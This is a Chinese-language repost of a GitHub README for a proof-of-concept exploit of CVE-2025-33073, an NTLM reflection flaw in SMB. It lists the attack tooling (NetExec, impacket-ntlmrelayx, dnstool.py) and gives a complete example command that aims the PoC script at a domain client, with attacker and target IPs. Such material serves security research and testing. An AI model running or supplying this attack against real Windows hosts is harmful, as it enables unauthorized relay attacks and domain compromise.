CVE-2025-33073 针对 NTLM 反射 SMB 缺陷的 PoC 漏洞

所有荣誉归功于官方研究：

https://www.synacktiv.com/publications/ntlm-reflection-is-dead-long-live-ntlm-reflection-an-in-depth-analysis-of-cve-2025

先决条件

操作系统：Kali Linux（已预装大多数软件包）。

• NetExec（NXC）- https://github.com/Pennyw0rth/NetExec

• impacket-ntlmrelayx

• dnstool.py（包含在 repo 中）

• xterm

示例用法

python3 CVE-2025-33073.py -u 'wintastic.localmathijs' -p 'password' --attacker-ip 192.168.178.49 --dns-ip 192.168.178.138 --dc-fqdn DC01.wintastic.local --target CLIENT01.wintastic.local --target-ip 192.168.178.65

xterm 允许使用鼠标中键进行复制和粘贴。

关于所使用的强制转换的更多信息：

请注意，这只会直接影响你尝试攻击的主机。例如，如果 DC 是 Windows Server 2022，而你尝试攻击的客户端是 Windows 10 机器，那么攻击仍然有效！

项目地址：

https://github.com/mverschu/CVE-2025-33073?tab=readme-ov-file